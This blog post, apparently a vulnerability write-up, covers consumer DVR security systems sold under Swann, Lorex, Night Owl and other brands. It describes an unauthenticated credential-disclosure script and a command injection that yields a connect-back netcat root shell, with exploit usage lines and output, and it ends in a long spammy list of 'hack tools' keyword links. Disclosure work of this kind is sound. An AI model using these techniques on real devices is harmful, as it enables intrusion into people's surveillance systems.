"Swan song" is a metaphorical phrase for a final gesture, effort, or performance given just before death or retirement. This post serves as the "swan song" for a whole slew of DVR security systems. With that being said, I will refer to the lyrical master MC Hammer, lets turn this mutha' out.
I recently had a chance to get my hands on a 4 channel DVR system system sold under a handful of company banners (4/8/16 channels) - Swann, Lorex, Night Owl, Zmodo, URMET, kguard security, etc. A few device model numbers are - DVR04B, DVR08B, DVR-16CIF, DVR16B
After firing up the device and putting it on the network I noticed that it was running a telnet server, unfortunately the device does not appear to come configured with an easy/weak login :(. Time to open it up and see whats going on :)
This change to the bootargs variable is only temporary at this point, if we were to power cycle the device the change would be lost. It is possible to write these changes to the device, but in this case we only want to boot into single user mode once. To boot the device you need to tell the boot loader where the kernel exists in memory, this value can be found in the default environment variable "bootdcmd".
python getPass.py 192.168.10.69
[*]Host: 192.168.10.69
[+]Username: admin
[+]Password: 123456
Port 9000 is run by a binary named 'raysharpdvr'. I pulled the binary off the device and started going through it looking for interesting stuff. First thing I noticed was the device was using the "system" call to carry out some actions, after chasing down these calls and not seeing much, the following popped up:
"sprintf" with user input into a "system", that'll do it. Couple problems to overcome with this. First in order to use this vector for command injection you must configure the device to use "ppp" - this will cause the device to go offline and we will not be able to interact with it further :(. We can get around this issue by injecting a call to the dhcp client appliction ("udhcpc") - this will cause the device to use dhcp to get its network information bypassing the previous "ppp" config. The other issue is once we have reconfigured the device to run our command, it needs to be restarted before it will execute (its part of the init scripts). The application does not actually provide a way to reboot the device using the web interface, there is a section that says 'reboot', but when it is triggered nothing happens and some debugging information displayed in the serial console saying the functionality is not implemented. Lucky for us there are plenty of overflow bugs in this device that will lead to a crash :). The device has a watchdog that polls the system to check if the "raysharpdvr" application is running and if it does not see it, it initiates a system reboot - very helpful. With those two issues out of the way the only thing left is HOW to talk to our remote root shell that is waiting for us....luckily the device ships with netcat built into busybox, -e flag and all :)
Usage: sploit.py <target> <connectback host> <connectback port>
$ python sploit.py 192.168.10.69 192.168.10.66 9999
[*]Sending Stage 1
[*]Sending Stage 2
[*]Rebooting the server with crash....
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:9999
tl;dr; A whole slew of security dvr devices are vulnerable to an unauthenticated login disclosure and unauthenticated command injection.
Read more
- Pentest Automation Tools
- Hack Tools Download
- Pentest Tools Download
- Hack Tool Apk No Root
- Hack Apps
- Hack Tools For Windows
- Hack Tools Github
- Hacking Tools Pc
- Hacking Tools Online
- New Hack Tools
- Hacking Tools For Windows Free Download
- Hacker Tool Kit
- Hacker Tools For Windows
- Hacker Search Tools
- Hacker Tools Apk
- Hacking Tools For Pc
- How To Hack
- Pentest Tools Find Subdomains
- Hacking Tools 2020
- Hacker Tools Windows
- Pentest Tools
- Ethical Hacker Tools
- Nsa Hacker Tools
- Hacking Tools Software
- Hacker Tools Free
- Kik Hack Tools
- Hacker Tools For Mac
- Nsa Hack Tools Download
- Hacker Security Tools
- Hacking Tools For Windows 7
- Hack Tools
- Pentest Automation Tools
- Hackers Toolbox
- Ethical Hacker Tools
- Install Pentest Tools Ubuntu
- Best Pentesting Tools 2018
- Best Hacking Tools 2019
- Hacker Tools Online
- Underground Hacker Sites
- Hacker Search Tools
- Pentest Tools Android
- Hacking App
- Hack Tools 2019
- Hacking Tools Windows 10
- Hacker Tools Github
- Underground Hacker Sites
- Pentest Tools Online
- Hak5 Tools
- Hacking Tools Download
- Hack Apps
- Hacking Tools And Software
- Hacking Tools Usb
- World No 1 Hacker Software
- Top Pentest Tools
- Hacking Tools For Windows 7
- Hacker Tools Github
- Top Pentest Tools
- Hacking Apps
- Hacking App
- Hacker Techniques Tools And Incident Handling
- Install Pentest Tools Ubuntu
- Install Pentest Tools Ubuntu
- Hack Tools For Mac
- Hack Tool Apk No Root
- Github Hacking Tools
- Tools Used For Hacking
- How To Hack
- Hack Tools Download
- New Hacker Tools
- Pentest Tools Kali Linux
- Pentest Tools For Ubuntu
- Hacker Tools Software
- Pentest Tools For Mac
- Free Pentest Tools For Windows
- Hacker Tools Online
- Hacking Tools Software
- Hack Tools For Pc
- Hacking Apps
- Underground Hacker Sites
- Pentest Tools Url Fuzzer
- Android Hack Tools Github
- What Are Hacking Tools
- Pentest Tools Framework
- Hacker Tools Windows
- Hacking Tools Mac
- Bluetooth Hacking Tools Kali
- Hacking Tools Windows
- Hacking Tools For Pc
- Best Pentesting Tools 2018
- Hack Tools
- Hack Apps
- Hacking Tools For Kali Linux
- Free Pentest Tools For Windows
- Pentest Tools Nmap
- Hacker Tools Software
- Hacking Tools Github
- Beginner Hacker Tools
- Hacker Security Tools
- Pentest Tools Url Fuzzer
- Pentest Tools Framework
- Pentest Tools Framework
- Hacking Tools For Windows Free Download
- Bluetooth Hacking Tools Kali
- Pentest Tools Alternative
- Hacking Tools Download
- Hacker Tools Apk
- Easy Hack Tools
- Hacking App
- Pentest Tools Download
- Pentest Tools Find Subdomains
- Hacker Tools Free Download
- New Hacker Tools
- Termux Hacking Tools 2019
- Hacker Tools Apk Download
- Hacker Tools Windows
- Hack Tools Github
- Beginner Hacker Tools
- Hackers Toolbox
- Pentest Tools For Mac
- Hack Tools Pc
- Pentest Tools Website
- Pentest Tools Framework
- Tools 4 Hack
- Wifi Hacker Tools For Windows
- Physical Pentest Tools
- Pentest Tools Free
- Github Hacking Tools
- Hacker Tools 2019
0 comments:
Post a Comment